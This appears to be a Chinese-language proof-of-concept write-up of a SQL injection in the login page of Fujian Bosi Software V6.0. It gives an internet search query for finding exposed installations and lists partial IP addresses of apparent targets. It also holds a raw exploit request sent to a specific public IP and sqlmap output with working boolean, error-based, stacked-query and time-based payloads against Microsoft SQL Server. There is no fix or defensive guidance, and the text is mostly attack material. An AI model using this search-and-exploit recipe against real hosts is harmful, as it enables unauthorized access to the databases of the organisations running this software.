

福建博思软件股份有限公司博斯软件 V6.0 存在 sql 注入

1、hunter

web.title:"欢迎使用 博斯软件"



The screenshot shows the Hunter search results for the query 'web.title: "欢迎使用 博斯软件"'. The interface includes a sidebar with filters for '独立IP数' (141), '资产总数' (2023: 150, 2022: 164), and '国家'. The main table displays search results with columns for IP, 端口/服务 (Port/Service), and 域名 (Domain).

IP	端口/服务	域名
218.90.242.242	8088 http	218.90.242.
125.107.152.248	8081 http	125.107.152.

2、部分界面如下



3、数据包如下，隐患参数 password

POST /log/logined.jsp HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://49.73.148.125:8082/

Cookie: JSESSIONID=80D835813F9733E867790648CBAA0EC6

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Content-Length: 106

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/88.0.4298.0 Safari/537.36

Host: 49.73.148.125:8082

Connection: Keep-alive

Submit=-1A&account=-1password=g-1

4、sqlmap 验证如下

python3 sqlmap.py -r 2.txt --level 3 --thread 5

```
[11:09:58] [WARNING] parameter 'User-Agent' does not seem to be injectable
sqlmap identified the following injection point(s) with a total of 3425 HTTP(s) requests:
---
Parameter: account (POST)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
  Payload: Submit=-1A&account=-1password=g-1' AND 4049=(SELECT (CASE WHEN (4049=4049) THEN 4049 ELSE (SELECT 2237 UNION SELECT 5699) END))-- uRUS

  Type: error-based
  Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
  Payload: Submit=-1A&account=-1password=g-1' AND 1477 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (1477=1477) THEN CHAR(49) ELSE CHAR(49) END))+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(122)+CHAR(113)))-- LeXn

  Type: stacked queries
  Title: Microsoft SQL Server/Sybase stacked queries (comment)
  Payload: Submit=-1A&account=-1password=g-1';WAITFOR DELAY '0:0:5'--

  Type: time-based blind
  Title: Microsoft SQL Server/Sybase time-based blind (IF)
  Payload: Submit=-1A&account=-1password=g-1' WAITFOR DELAY '0:0:5'-- AtFH
---
[11:09:58] [INFO] testing Microsoft SQL Server
[11:09:59] [INFO] confirming Microsoft SQL Server
[11:09:59] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JBoss 3.2.6, Servlet 2.4, Tomcat 5.0.28
back-end DBMS: Microsoft SQL Server 2000
```